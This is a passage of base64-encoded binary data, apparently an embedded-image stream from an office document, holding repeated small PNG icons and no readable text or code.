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 